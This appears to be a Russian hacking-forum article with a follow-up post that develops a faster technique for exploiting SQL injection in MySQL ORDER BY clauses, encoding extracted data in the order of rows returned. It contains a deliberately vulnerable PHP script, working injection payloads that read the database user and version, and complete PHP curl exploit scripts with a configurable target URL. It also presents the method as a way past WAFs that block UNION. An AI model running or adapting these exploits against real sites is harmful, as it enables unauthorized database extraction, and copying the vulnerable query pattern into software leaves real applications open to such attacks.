Инъекция в ORDER BY: Второе дыхание

[NameSpace]

Почему-то у многих людей сложилось мнение, что инъекция в order by раскручивается или через time-based, или как boolean-based. Но, это совсем не так.

INTRO

ORDER BY употребляется для сортировки выборки по одной или несколькими колонками (обычно по возрастанию или убыванию, но не только):

PHP код:

... order by `password_date` desc, `name` asc, 6 asc; # Делаем 1, 2-ю сортировку по имени колонки, 3-ю по номеру колонки в выводе 


Еще есть вариант с заглушкой:

PHP код:

... order by null; 


Примеры эксплуатации инъекций с форума:

(if((substring(version(),1,1)=5),1,(select 1 union select 2)))
(id*IF(ASCII(SUBSTRING(USER(),0,1))=113,1,-1))

Мы видим 1 запрос на один бит данных, это очень и очень мало. Сегодня мы рассмотрим теорию и практику более приемлемого вывода!

Теория

Раз ORDER BY употребляется для сортировки списка, то на страницу обычно выводится список, а точнее, его обрезанная часть. Например 20 записей выводится на страницу, всего в таблице 100 записей.

ORDER BY позволяет использовать для сортировки выражения (возвращающие число/строку для каждой записи). Пример:

PHP код:

... order by rand(); # Так
... order by (rand()) asc; # И даже так (в данном случае навороты смысла не имеет) 


Соответственно мы можем расставить эти 100 записей на эти 20 мест абсолютно по разному, и тем самым, выводить больше информации за один раз.

Я подразумеваю случай, когда каждый запрос выполняется на разных сессиях (99%).

В лучшем варианте при выводе 20 записей и их заполнении 20 уникальными значениями число возможных комбинаций равно:

(defun factorial (n)
  (if (= n 0)
      1
      (* (factorial (- n 1)) n)))
            
(20!) => (integer-length (factorial 20)) => 62 => (61) bit

То есть 7 символов за 1 раз. Предложим, что записей 100, а не 20:

100!/(100-20)! => (integer-length (/ (factorial 100) (factorial (+ 100 -20)))) => 130 bit

Это около 16 символов за раз! Никак не 1 символ за 8 раз, как в первом случае. Напишем уязвимый скрипт:

PHP код:

<?php
mysql_connect('127.0.0.1', 'root');

$result = mysql_query('
    select `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY '.$_REQUEST['name']);

    for($i=0;($i < 20 && $row = mysql_fetch_array($result)); ++$i) {
        echo $row[0]."<br>\n";
    }

mysql_close();
?>

Я взял `information_schema`.`COLLATIONS` для тестов (на реальном хосте инъекция могла бы быть в новостях, юзерах), чтобы все смогли у себя повторить процесс.

В ней больше, чем 100 записей, однако мы будем использовать только первую сотню. На стороне клиента надо будет заранее получить эти 100 записей...

Нам повезло что все записи пронумерованы по ID, пока воспользуемся этим:

PHP код:

+----+-------------------+
| id | COLLATION_NAME    |
+----+-------------------+
|  1 | big5_chinese_ci   |
|  2 | latin2_czech_cs   |
|  3 | dec8_swedish_ci   |
|  4 | cp850_general_ci  |
|  5 | latin1_german1_ci |
|  6 | hp8_english_ci    |
|  7 | koi8r_general_ci  |
|  8 | latin1_swedish_ci |
|  9 | latin2_general_ci |
| 10 | swe7_swedish_ci   |
+----+-------------------+ 


Использовать весь потенциал достаточно затруднительно, начнем с малого, лучше что-то, чем ничего...

Блин №1

Суть происходящего:

Слева данные из таблицы. Справа то, что мы получаем. Изначально мы ставим первый элемент на первую позицию, со второго элемента начинаем побитовое считывание выводимых данных. Если бит равен нулю, то позиции будут отрицательными, если 1 - положительными.

При считывании мы находим первый элемент, от него ищем все оставшиеся. Элегантно и просто. За 10 строк вывода мы можем передать 9 бит информации, что немного больше одного символа...

Реализация. Вывод одного символа.

mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(id < 10, if(id=1,1,(
            if(
                ascii(mid(user(),1,1)) & pow (2, (id-2)) > 0, 
                    # pow - возведение 2 в степень для получения необходимого числа:
                    #     2^0 = 1 = 00000001
                    #    2^1 = 2 = 00000010
                    #    2^2 = 4 = 00000100
                    # Также для этих целей можно использовать побитовый сдвиг
                    #    он и короче, но символы < и > могут фильтроваться
                    #        (Выше они используются для упрощения)
                    # 1 << 4 = 16         # (SELECT 4) >> (SELECT 1) = 2
                id, -id
        ))), 1000) LIMIT 9;
+----+-------------------+
| id | COLLATION_NAME    |
+----+-------------------+
|  9 | latin2_general_ci |
|  5 | latin1_german1_ci |
|  3 | dec8_swedish_ci   |
|  2 | latin2_czech_cs   |
|  1 | big5_chinese_ci   |
|  4 | cp850_general_ci  |
|  6 | hp8_english_ci    |
|  7 | koi8r_general_ci  |
|  8 | latin1_swedish_ci |
+----+-------------------+
9 rows in set (0.00 sec)

mysql> SELECT user();
+----------------+
| user()         |
+----------------+
| test@localhost |
+----------------+
1 row in set (0.00 sec)

00101110 => t

В лучших традициях на PHP набросаем эксплоит:

PHP код:

<?php
$ch = curl_init();
curl_setopt_array($ch, array(
    CURLOPT_RETURNTRANSFER => True,
    CURLOPT_ENCODING => 'gzip, deflate',
)); 

$url = 'http://127.0.0.1/inj.php?name=';
$query = 'concat(user(),0x3A,version())';


for($i=1; $i <= 100; ++$i) {
    curl_setopt($ch, CURLOPT_URL, $url.urlencode("if(id<10,if(id=1,1,(if(ascii(mid(({$query}),{$i},1))&pow(2,(id-2))>0,id,-id))),99)"));
    echo ocr(curl_exec($ch));
}
function ocr ($res) {
    $res = explode("<br>\n", $res);
    $start_array = array(
        'big5_chinese_ci', //     1
        'latin2_czech_cs', //     2
        'dec8_swedish_ci', //     3
        'cp850_general_ci', //    4
        'latin1_german1_ci', //   5
        'hp8_english_ci', //      6
        'koi8r_general_ci', //    7
        'latin1_swedish_ci', //   8
        'latin2_general_ci' //    9
    );
    $count = count($start_array);
    $main = array_search($start_array[0], $res);
    
    $ord = 0;
    
    for($i=1; $i < $count; ++$i) {
        $needle = array_search($start_array[$i], $res);
        if($needle > $main) {
            $ord |= pow(2, $i-1);
        }
    }
    return chr($ord);
}
curl_close($ch);
?>

Запускаем, и вуаля:

root@localhost:5.5

За 1 запрос по 1 символу (8 бит), но, надо усовершенствовать вариант, чтобы скрипт возвращал n-1 бит на n строк вывода (а не только первый символ). Здесь нас ожидает первый сюрприз, часть записей отсутствует:

mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS` ORDER BY id LIMIT 20;
+----+---------------------+
| id | COLLATION_NAME      |
+----+---------------------+
|  1 | big5_chinese_ci     |
|  2 | latin2_czech_cs     |
|  3 | dec8_swedish_ci     |
|  4 | cp850_general_ci    |
|  5 | latin1_german1_ci   |
|  6 | hp8_english_ci      |
|  7 | koi8r_general_ci    |
|  8 | latin1_swedish_ci   |
|  9 | latin2_general_ci   |
| 10 | swe7_swedish_ci     |
| 11 | ascii_general_ci    |
| 12 | ujis_japanese_ci    |
| 13 | sjis_japanese_ci    |
| 14 | cp1251_bulgarian_ci |
| 15 | latin1_danish_ci    |
| 16 | hebrew_general_ci   |
| 18 | tis620_thai_ci      |
| 19 | euckr_korean_ci     |
| 20 | latin7_estonian_cs  |
| 21 | latin2_hungarian_ci |
+----+---------------------+
20 rows in set (0.00 sec)

17-ой записи нет, еще проблема усугубляется тем, что мы не можем инициализировать и начать использовать переменную запросе:

mysql> select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Инициализация
+-----------------+---------+
| COLLATION_NAME  | user_id |
+-----------------+---------+
| big5_chinese_ci | NULL    |
+-----------------+---------+

mysql> select `COLLATION_NAME`, @a as user_id from `information_schema`.`COLLATIONS` WHERE (@a:=0)-1 LIMIT 1; # Использование №2
+-----------------+---------+
| COLLATION_NAME  | user_id |
+-----------------+---------+
| big5_chinese_ci |       0 |
+-----------------+---------+

Займемся символами: при каждом запросе нам надо передавать новые смещения, и при этом ничего не терять:

В первой колонке номер бита, во второй ID, для которого необходимо возвратить номер в выдаче. Третья - биты, в прямом или обратном порядке. Начнем с id. Его надо привести к нормальному виду:

# Было
id-2: (-1 Для служебной записи, и еще -1 чтобы pow возвращал все относительно 0, в данном случае это: 
    id 2  = 0
    id 3  = 1
    id 4  = 2
    ...
    id 16 = 14 
    id 18 = 16 // Проблема
# Стало:
id-2-(id>16):
    ...
    id 16 = 14 
    id 18 = 15 // Все верно
    id 19 = 16

Решим, как организовать переход между символами, чтобы в каждом запросе мы могли начать с любой позиции. Второй запрос надо начать с 4-ого бита 3-го символа (все это относительно id и внешнего числа):

    # Номер символа:
        ((19 + id) div 8) + 1
        
        id - Аргумент (число организующие вывод разных битов)
        19 - Смещение в битах относительно 0, для изменения в запросах (От 0, 
                            возможно с учетом погрешностей в ID для уменьшения длины выражения, 
                            то есть легче вычесть к примеру 2 из него, 
                            чем посылать запись 19+id-2...
                             )
        7   => id=9  => ((0 +  9 - 2) div 8) + 1
        14  => id=16 => ((0 + 16 - 2) div 8) + 1
        
    # Номер бита:
        pos mod 8 или pos % 8
    
    0  % 8 = 0
    7  % 8 = 7
    26 % 8 = 2

Вернемся в мир SQL:

# Номер бита:
    (pos+id-(id>16))%8

# Номер символа: 
    (pos+id-(id>16))div 8 + 1

    Где pos - разница смещения и двух. Для первого запроса смещение 0-2 = -2, для второго - 19-2 = 17 и т.д.
    
# Запрос:
mysql> select id, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(id < 22, if(id=1,1,(
            if(
                ascii(mid(user(),(
                    (__POS__+id-(id>16))div 8 + 1
                ),1)) & pow (2, (__POS__+id-(id>16))%8) > 0, 
                id, -id
        ))), 1000) LIMIT 20;

Работает! Доработаем наш сплоит:

PHP код:

<?php
class net {
        private $curl;
        
        public $url = 'http://127.0.0.1/inj.php?name='; // URL сайта
       
           /* Массив вариантов по запросу */
        public function getSiteArr($query) {
            $url = $this->url.urlencode($query);

        curl_setopt($this->curl, CURLOPT_URL, $url);
        $res = curl_exec($this->curl);
        
        $res = explode("<br>\n", $res);
        unset($res[20]);
        
        return $res;
       }
        public function __construct() {
                $this->curl = curl_init();
                curl_setopt_array($this->curl, array(
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_ENCODING => 'gzip, deflate',
                ));
        }
        public function __destruct() {
                curl_close($this->curl);
        }
}
class bit {
    private $bitarr = array();
    
    public $countReal = 0;
    public $countAll  = 0;
    
    private $callback;
    
        public function __construct($callback) {
                $this->callback = &$callback; // Функция, вызывающаяся при получении символа
        }

        /* Служебная функция, вызывается при добавлении бита вызывающая колбэк при наличии символа */
        private function check() {
            if($this->countReal < 8)
                return;

            $this->countReal -= 8;
            
                /* Формируем символ */
            $ascii = 0;
            
        for($i=0; $i < 8; ++$i) {
            if($this->bitarr[$this->countAll + $i - 8] == true)
                $ascii |= 1 << $i;
        }
        
            /* Отдаем символ*/
        call_user_func($this->callback, chr($ascii));
            /* Повторный вызов */
        $this->check();
        }
            /* Инкремент */
        private function inc() {
               $this->countReal++;
               
            return $this->countAll++;
        }

            /* Добавить новый бит*/
        public function addBit($bit) {
            $this->bitarr[$this->inc()] = (bool)$bit;
            
            $this->check();
        }

}
class sql {
    public $main_query = 'concat(user(),0x3A,version())';
    private $query = 'if(id < 22, if(id=1,1,(
            if(
                ascii(mid((%s),(
                    (%d+id-(id>16))div(8) + 1
                ),1)) & pow (2, (%d+id-(id>16))%%8) > 0, 
                id, -id
        ))), 99)'; // Запрос
    
    private $space  = array("\r", "\n", "\t", " "); // Удаляемые символы

    private $arr    = array(); // Массив с заранее выбранными значениями
    private $count  = 0;

    // Либы:
    private $net;
    private $bit;

        /* Инициализация */
    public function __construct($arr, $net, $bit) {
              $this->query = str_replace($this->space, '', $this->query);

              $this->arr = $arr;
              $this->count = count($arr);
              
              $this->net = &$net;
              $this->bit = &$bit;
        }
            /* Инжектинг */
        public function start() {
            for($i=0; true; $i += $this->count-1) {
                $POS = $i - 2; 
                $query = sprintf($this->query, $this->main_query, $POS, $POS);
                
                $this->get($query);
            }
       }
            /* Разбор массива с данными сайта*/
        private function get($query) {

            $arr = $this->net->getSiteArr($query);
            
            $main = array_search($this->arr[0], $arr);
            
            for ($i=1; $i < $this->count; ++$i) {
            $needle = array_search($this->arr[$i], $arr); // Ищем значение в массиве

            $this->bit->addBit($needle > $main); // Узнаем, до или первой записи оно расположено
            }
        }
}
$net = new net;
$bit = new bit(function($char) {
    echo $char;
});

$sql = new sql(array( // 20
        'big5_chinese_ci',
        'latin2_czech_cs',
        'dec8_swedish_ci',
        'cp850_general_ci',
        'latin1_german1_ci',
        'hp8_english_ci',
        'koi8r_general_ci',
        'latin1_swedish_ci',
        'latin2_general_ci',
        'swe7_swedish_ci',
        'ascii_general_ci',
        'ujis_japanese_ci',
        'sjis_japanese_ci',
        'cp1251_bulgarian_ci',
        'latin1_danish_ci',
        'hebrew_general_ci',
        'tis620_thai_ci',
        'euckr_korean_ci',
        'latin7_estonian_cs',
        'latin2_hungarian_ci',
    ), $net, $bit);
$sql->start();
?>

Ура, данные приходят еще быстрее!

Блин №2

Если детально присмотреться к схеме, можно заметить, что можно восстановить исходную последовательность просто не получая первую или вторую половину. После пары правок мы можем ускорить скрипт еще в несколько раз.

• + В среднем на n строк вывода мы получаем 2n битов вывода, а не n-1
• + Мы получим сжатие, если будем выводить первую или последнюю половину данных так-как в зависимости от содержимого 0 может встречаться как заметно чаще 1, так и реже.

Отсутствующие записи: 17, 56, 62, 76, ...

SQL:

select (-1+id-(id>16)-(id>55)-(id>76)-(id>100)) as i, `COLLATION_NAME` from `information_schema`.`COLLATIONS`
        WHERE `IS_COMPILED` = "Yes"
        ORDER BY if(
                ascii(mid(user(),(
                    (-1+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))div 8 + 1
                ),1)) & pow (2, (-1+id-(id>16)-(id>61)-(id>55)-(id>76)-(id>100))%8) > 0, 
                id, 9e9 # Универсальный способ задания большого значения
        ) LIMIT 20;
+----+---------------------+
| i  | COLLATION_NAME      |
+----+---------------------+
|  2 | dec8_swedish_ci     |
|  4 | latin1_german1_ci   |
|  5 | hp8_english_ci      |
|  6 | koi8r_general_ci    |
|  8 | latin2_general_ci   |
| 10 | ascii_general_ci    |
| 13 | cp1251_bulgarian_ci |
| 14 | latin1_danish_ci    |
| 16 | tis620_thai_ci      |
| 17 | euckr_korean_ci     |
| 20 | koi8u_general_ci    |
| 21 | cp1251_ukrainian_ci |
| 22 | gb2312_chinese_ci   |
| 26 | gbk_chinese_ci      |
| 28 | latin5_turkish_ci   |
| 29 | latin1_german2_ci   |
| 30 | armscii8_general_ci |
| 38 | cp852_general_ci    |
| 42 | cp1250_croatian_ci  |
| 43 | utf8mb4_general_ci  |
+----+---------------------+

Yep!

PHP код:

<?php
class net {
        private $curl;
        
        public $url = 'http://127.0.0.1/inj.php?name='; // URL сайта
       
           /* Массив вариантов по запросу */
        public function getSiteArr($query) {
            $url = $this->url.urlencode($query);

        curl_setopt($this->curl, CURLOPT_URL, $url);
        $res = curl_exec($this->curl);
        
        $res = explode("<br>\n", $res);
        unset($res[20]);
        
        return $res;
       }
        public function __construct() {
                $this->curl = curl_init();
                curl_setopt_array($this->curl, array(
                        CURLOPT_RETURNTRANSFER => true,
                        CURLOPT_ENCODING => 'gzip, deflate',
                ));
        }
        public function __destruct() {
                curl_close($this->curl);
        }
}
class bit {
    private $bitarr = array();
    
    public $countReal = 0;
    public $countAll  = 0;
    
    private $callback;
    
        public function __construct($callback) {
                $this->callback = &$callback; // Функция, вызывающаяся при получении символа
        }

        /* Служебная функция, вызывается при добавлении бита вызывающая колбэк при наличии символа */
        private function check() {
            if($this->countReal < 8)
                return;

            $this->countReal -= 8;
            
                /* Формируем символ */
            $ascii = 0;
            
        for($i=0; $i < 8; ++$i) {
            if($this->bitarr[$this->countAll + $i - 8] == true)
                $ascii |= 1 << $i;
        }
        
            /* Отдаем символ*/
        call_user_func($this->callback, chr($ascii));
            /* Повторный вызов */
        $this->check();
        }
            /* Инкремент */
        private function inc() {
               $this->countReal++;
               
            return $this->countAll++;
        }

            /* Добавить новый бит*/
        public function addBit($bit) {
            $this->bitarr[$this->inc()] = (bool)$bit;
            
            $this->check();
        }

}
class sql {
    public $main_query = 'concat(user(),0x3A,version())';
    private $query = 'if(
                ascii(mid((%s),(
                    (%d+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))div(8) + 1
                ),1)) & pow (2, (%d+id-(id>16)-(id>55)-(id>61)-(id>76)-(id>100))%%8) > 0, 
                id, 9e9
        )'; // Запрос
    
    public $viewCount = 20;
    
    private $space  = array("\r", "\n", "\t", " "); // Удаляемые символы

    private $arr    = array(); // Массив с заранее выбранными значениями
    private $count  = 0;

    // Либы:
    private $net;
    private $bit;

        /* Инициализация */
    public function __construct($arr, $net, $bit) {
              $this->query = str_replace($this->space, '', $this->query);

              $this->arr = $arr;
              $this->count = count($arr);
              
              $this->net = &$net;
              $this->bit = &$bit;
        }
            /* Инжектинг */
        public function start() {
            for($i=0; $i/8 < 60; $i = $this->bit->countAll) {
                $POS = $i - 1; 
                $query = sprintf($this->query, $this->main_query, $POS, $POS);
                $this->get($query);
            }
       }
            /* Разбор массива с данными сайта*/
        private function get($query) {

            $arr = $this->net->getSiteArr($query);
            
            for ($i=0; $i < $this->viewCount; ++$i) {
            $needle = array_search($this->arr[$i], $arr); // Ищем значение в массиве
            $this->bit->addBit($needle !== false);
            }
        }
}
$net = new net;
$bit = new bit(function($char) {
    echo $char;
});

$sql = new sql(
            // 119
        array('big5_chinese_ci', 'latin2_czech_cs', 'dec8_swedish_ci', 'cp850_general_ci', 'latin1_german1_ci', 'hp8_english_ci', 'koi8r_general_ci', 'latin1_swedish_ci', 'latin2_general_ci', 'swe7_swedish_ci', 'ascii_general_ci', 'ujis_japanese_ci', 'sjis_japanese_ci', 'cp1251_bulgarian_ci', 'latin1_danish_ci', 'hebrew_general_ci', 'tis620_thai_ci', 'euckr_korean_ci', 'latin7_estonian_cs', 'latin2_hungarian_ci', 'koi8u_general_ci', 'cp1251_ukrainian_ci', 'gb2312_chinese_ci', 'greek_general_ci', 'cp1250_general_ci', 'latin2_croatian_ci', 'gbk_chinese_ci', 'cp1257_lithuanian_ci', 'latin5_turkish_ci', 'latin1_german2_ci', 'armscii8_general_ci', 'utf8_general_ci', 'cp1250_czech_cs', 'ucs2_general_ci', 'cp866_general_ci', 'keybcs2_general_ci', 'macce_general_ci', 'macroman_general_ci', 'cp852_general_ci', 'latin7_general_ci', 'latin7_general_cs', 'macce_bin', 'cp1250_croatian_ci', 'utf8mb4_general_ci', 'utf8mb4_bin', 'latin1_bin', 'latin1_general_ci', 'latin1_general_cs', 'cp1251_bin', 'cp1251_general_ci', 'cp1251_general_cs', 'macroman_bin', 'utf16_general_ci', 'utf16_bin', 'cp1256_general_ci', 'cp1257_bin', 'cp1257_general_ci', 'utf32_general_ci', 'utf32_bin', 'binary', 'armscii8_bin', 'ascii_bin', 'cp1250_bin', 'cp1256_bin', 'cp866_bin', 'dec8_bin', 'greek_bin', 'hebrew_bin', 'hp8_bin', 'keybcs2_bin', 'koi8r_bin', 'koi8u_bin', 'latin2_bin', 'latin5_bin', 'latin7_bin', 'cp850_bin', 'cp852_bin', 'swe7_bin', 'utf8_bin', 'big5_bin', 'euckr_bin', 'gb2312_bin', 'gbk_bin', 'sjis_bin', 'tis620_bin', 'ucs2_bin', 'ujis_bin', 'geostd8_general_ci', 'geostd8_bin', 'latin1_spanish_ci', 'cp932_japanese_ci', 'cp932_bin', 'eucjpms_japanese_ci', 'eucjpms_bin', 'cp1250_polish_ci', 'utf16_unicode_ci', 'utf16_icelandic_ci', 'utf16_latvian_ci', 'utf16_romanian_ci', 'utf16_slovenian_ci', 'utf16_polish_ci', 'utf16_estonian_ci', 'utf16_spanish_ci', 'utf16_swedish_ci', 'utf16_turkish_ci', 'utf16_czech_ci', 'utf16_danish_ci', 'utf16_lithuanian_ci', 'utf16_slovak_ci', 'utf16_spanish2_ci', 'utf16_roman_ci', 'utf16_persian_ci', 'utf16_esperanto_ci', 'utf16_hungarian_ci', 'utf16_sinhala_ci', 'ucs2_unicode_ci', 'ucs2_icelandic_ci', 'ucs2_latvian_ci', 'ucs2_romanian_ci'),
     $net, $bit);
$sql->start();

Полную перестановку мы так и не задействовали, плохая поддержка переменных сильно мешает, например:

На первый взгляд эта схема работает, однако ограничить вывод после сбора N-ного числа записей очень сложно и на странице мы видим только верхнюю двадцатку.

END

Тема новая, исследований нет - есть куда продвигаться. Для макетов был использован LibreOffice Draw. Также есть варианты вывода с использованием возможности передачи нескольких параметров(через запятую) в ORDER BY.

[NameSpace]

В продолжение развития темы нестандартного использования функции insert() не помешало бы довести и эту тему до финала (пока теоретического), благо к ней никто не притрагивался.

Кстати о insert(), с помощью неё можно создать неплохой итератор, отсутствие поддержки переменных этому не помешает:

PHP код:

mysql> SELECT length(insert(0x3A,1,0,1))-1 from mysql.user;
+------------------------------+
| length(insert(0x3A,1,0,1))-1 |
+------------------------------+
|                            1 |
|                            2 |
|                            3 |
|                            4 |
|                            5 |
+------------------------------+

// Неплохой, но не идеальный:
mysql> SELECT -(length(insert(0x3A,1,0,1))-1) from mysql.user;
+---------------------------------+
| -(length(insert(0x3A,1,0,1))-1) |
+---------------------------------+
|                              -2 |
|                              -3 |
|                              -4 |
|                              -5 |
|                              -6 |
+---------------------------------+

// Чтобы избежать подобного поведения insert можно использовать rand(0)*0, sleep(0), @a:=@a+1 и другие подобные конструкции в одном из аргументов:
mysql> SELECT -(length(insert(0x3A,1,sleep(0),1))-1) from mysql.user;
+----------------------------------------+
| -(length(insert(0x3A,1,sleep(0),1))-1) |
+----------------------------------------+
|                                     -1 |
|                                     -2 |
|                                     -3 |
|                                     -4 |
|                                     -5 |
+----------------------------------------+ 


Переменные все-таки можно использовать, если следовать некоторым правилам (список пополняется):

• Переменную можно полноценно использовать, если однократно инициализировать её без условий, зависящих от самой переменной, не используя её до этого:

PHP код:

mysql> SELECT host FROM mysql.user ORDER BY if(crc32(rand(9))in(7237891), (@ := 1), (@ := @ + 1)) LIMIT 1;
+-----------+
| host      |
+-----------+
| 127.0.0.1 |
+-----------+
1 row in set (0.01 sec)

mysql> SELECT @;
+------+
| @    |
+------+
|    5 |
+------+
1 row in set (0.00 sec) 


Это не единственный вариант, однако наиболее надежный и опробованный. При нарушении правил переменная может не действовать или вести себя магическим, не сразу заметным, образам.

Векторы для случаев, когда кол-во записей в таблице равно 0 или 1 приведены здесь (в UPD, UPD1, UPD2).

Начнем

Q. Почему необходимо крутить SQL-injection в ORDER BY? Почему нельзя вывести все через UNION SELECT?
A. Непосредственное использование UNION после ORDER BY невозможно.

Использовать методику проведения инъекций в ORDER BY можно даже тогда, когда его нет в исходном запросе. Это может быть полезно в следующих случаях (вывод ошибок отсутствует):

• Реакции WAF на UNION или UNION SELECT
• Инъекции в двух запросах с разным кол-вом полей (если при ошибке вывод блокируется)

Синтаксис конструкций после ORDER BY:

    [LIMIT {[offset,] row_count | row_count OFFSET offset}]
    [PROCEDURE procedure_name(argument_list)]
    [INTO OUTFILE 'file_name'
        [CHARACTER SET charset_name]
        export_options
      | INTO DUMPFILE 'file_name'
      | INTO var_name [, var_name]]
    [FOR UPDATE | LOCK IN SHARE MODE]]

Обратите внимание: возможно использование LIMIT, однако он выполнится только после всех итераций выражения в ORDER BY. Кстати, о выражении:

Нетрудно заметить, что в статье использовался самый непосредственный подход — на вход выражению подавался N-ный элемент (N = 0, 1, ...), выражение определяло его местоположение. Однако, можно ли получать на вход место (0, 1, ...) и устанавливать на него определенный элемент? ORDER BY не имеет таких опций, но ничто не мешает воспринимать входящие элементы как места и устанавливать на них элементы:

(Первый столбец — традиционный подход: Элемент -> Место. Второй столбец — нетрадиционный подход: Место -> Элемент.)

Что необходимо для разгрома?

• Сетевое ПО
• Парсер ответа (преобразователь страницы в массив с номерами сортируемых блоков)
• Преобразователь ответа в последовательность бит
• Генератор SQL-запросов

Задача

Остановимся на SQL-запросе — именно он являются главным, движущим атаку. Всего имеется N элементов, на страницу поступает K элементов.

Кол-вом вариантов перестановки данных элементов называется число размещений из n по k.

Если это не является пустыми словами для вас — поздравляю, вам придется прочитать про это ещё раз! Я стараюсь не ограничивать аудиторию, когда это возможно. Иначе зачем писать, когда можно выложить ссылку на готовенькое? Потом, если это не требуется, то почему не поступили предложения по улучшению?

Рассмотрим возможные перестановки цифр от 1 до 5: 12345, 12354, 32154, ....

Для расчета числа перестановок воспользуемся правилом умножения. Первая цифра имеет 5 вариантов размещений, вторая — 4 (одно место уже занято), третья — 3. Всего вариантов: 5×4×3×2×1 = 120.

Числа вида 1×2×3×4×5×...×N называются факториалами и обозначаются как N!.

Что значит число размещений из n по k? Предположим есть 10 различных элементов. Если у нас имеется 5 ячеек, то это число — число возможных расстановок этих 10 элементов в 5-ти ячейках (каждая ячейка может содержать только 1 элемент) или число размещений из 10 элементов по 5. То есть то, что нужно.

Рассмотрим размещения из 8 элементов по 5. Попробуем вычислить их общее количество. На обозрение выставляется 5 элементов. На первом месте может стоять 1 из 8 элементов, на втором - 1 из 7-ми (один уже стоит на первом)... Таким образом, общее число число вариантов равно 8×7×6×5×4 = 8×7×6×5×4×3×2×1 / (3×2×1) = 8! / (8 - 5)! = 6 720. Данное соотношение называется убывающим факториалом.

С помощью 8 новостей и вывода 5-ти из них на страницу можно получить log[2, 6 720] ≈ 12 bit вывода. Способ №2 из статьи даст около 4 бит. Но способ №2 даст! А этот — ещё нет.

Теория. Вывод N элементов

Попробуем разобрать вариант попроще, с выводом 4-х элементов из 4. Все возможные перестановки (в лексикографическом порядке):

 0 => [0, 1, 2, 3]
 1 => [0, 1, 3, 2]
 2 => [0, 2, 1, 3]
 3 => [0, 2, 3, 1]
 4 => [0, 3, 1, 2]
 5 => [0, 3, 2, 1]

 6 => [1, 0, 2, 3]
 7 => [1, 0, 3, 2]
 8 => [1, 2, 0, 3]
 9 => [1, 2, 3, 0]
10 => [1, 3, 0, 2]
11 => [1, 3, 2, 0]

12 => [2, 0, 1, 3]
13 => [2, 0, 3, 1]
14 => [2, 1, 0, 3]
15 => [2, 1, 3, 0]
16 => [2, 3, 0, 1]
17 => [2, 3, 1, 0]

18 => [3, 0, 1, 2]
19 => [3, 0, 2, 1]
20 => [3, 1, 0, 2]
21 => [3, 1, 2, 0]
22 => [3, 2, 0, 1]
23 => [3, 2, 1, 0]

Как узнать элемент, стоящий на первом месте, по номеру последовательности? Заметим, он получается так: X div 6. Первый элемент (как и все остальные) будет повторяться столько раз, сколько перестановок имеют оставшиеся элементы. То есть X div (N - 1)!. Это полностью верно для первого элемента. Но как быть с остальными? При определении первого элемента мы имеем дело с множеством {0, 1, 2, 3}, для оставшихся оно является другим. Полученная формула справедлива для нахождения номера элемента в множестве, а не для самого элемента.

Два возможных решения этой проблемы:

• Массив с множеством (строка с элементами, где каждые байт (2 байта, 4 байта) обозначает(ют) один из элементов)
• Спецметод, основанный на восстановлении множеств на стороне клиента

Простой реализации второго решения нет (учитывая трудности order by), так что придется довольствоваться первым. Работа с импровизированным массивом (со строкой) разделяется на 2 части:

• Генерация
• Выборка

Генерация:

PHP код:

// Отправка со стороны клиента
@array := 0x000102030405060708090A;

// Генерация на сервере
@i := 0;
@array := 0x00;

benchmark(10, @array := concat(@array, char(@i := @i + 1))); 


Выборка:

PHP код:

// Получаем:
@e := mid(@array, N, 1); // N = 1, 2, ...

// Удаляем:
@array := replace(@array, @e, '');

@array := insert(@array, N, 1, ''); // N = 1, 2, ... 


Итак, проблемы решены. Дело за реализацией. Инициализация:

PHP код:

N - Кол-во выводимых элементов (4)

@i - текущее место, в обратном порядке (прямой нигде не используется). (4-1, 4-2, 4-3, 4-4) = (3, 2, 1, 0)
@text - Номер последовательности, которую мы хотим вывести. 


Функции вычисления факториала на сервере нет, создавать её нецелесообразно, однако то и не требуется. Достаточно передать на сервер его наибольшее значение:

PHP код:

F6 = 720;        // 6!
F5 = F6/6 = 120; // 5!
F4 = F5/5 = 24;  // 4!
F3 = F4/4 = 6;   // 3!
F2 = F3/3 = 2;   // 2!
F1 = F2/2 = 1;   // 1!
F0 = F2/1 = 1;   // 0! 


Итого:

PHP код:

// Инициализация:
SET @array := 0x00010203;
SET @i := 5;
SET @f := 24;

SET @text := 13;

// ORDER BY:

@f := @f / (@i := @i - 1); // Факториал
ord(mid(@array, 1 + @number_e := (@text div @f), 1)) // Номер, должен быть отдан ORDER BY. Функцию ord применять необязательно

// Действия, производимые после отдачи в ORDER BY:
@array := insert(@array, 1 + @number_e, 1, ''); // Удаление элемента из массива
@text := @text - @number_e * @f; // Обновление номера последовательности 


Объединяем:

SELECT * FROM (SELECT 0 UNION SELECT 1 UNION SELECT 2 UNION SELECT 3)a WHERE 1 ORDER BY
      if(
          crc32(rand(9))in(7237891) and
          (@array := 0x00010203) * (@number_e := @i := 5) * (@f := 24) * (@text := 13) * 0, 0, 

    concat(
        ord(mid(@array, 1 + @number_e := (@text div @f := @f / (@i := @i - 1)), 1)), 
        space((@array := insert(@array, 1 + @number_e, 1, trim(0x20))) * (@text := @text - @number_e * @f) * 0)
    )
);

PHP код:

// Выполняем:
+---+
| 0 |
+---+
| 1 |
| 3 |
| 0 |
| 2 |
+---+
4 rows in set (0.01 sec)

// Преобразовываем:

0 <=> | 1 |
1 <=> | 3 |
2 <=> | 0 |
3 <=> | 2 |

2 <=> | 0 |
0 <=> | 1 |
3 <=> | 2 |
1 <=> | 3 |

=> 2031 


Работает!

Теория. Вывод K элементов из N

Пример. Размещения из 5 по 3 (в лексикографическом порядке):

PHP код:

 0 => [0, 1, 2]
 1 => [0, 1, 3]
 2 => [0, 1, 4]
 3 => [0, 2, 1]
 4 => [0, 2, 3]
 5 => [0, 2, 4]
 6 => [0, 3, 1]
 7 => [0, 3, 2]
 8 => [0, 3, 4]
 9 => [0, 4, 1]
10 => [0, 4, 2]
11 => [0, 4, 3]
12 => [1, 0, 2]
13 => [1, 0, 3]
14 => [1, 0, 4]
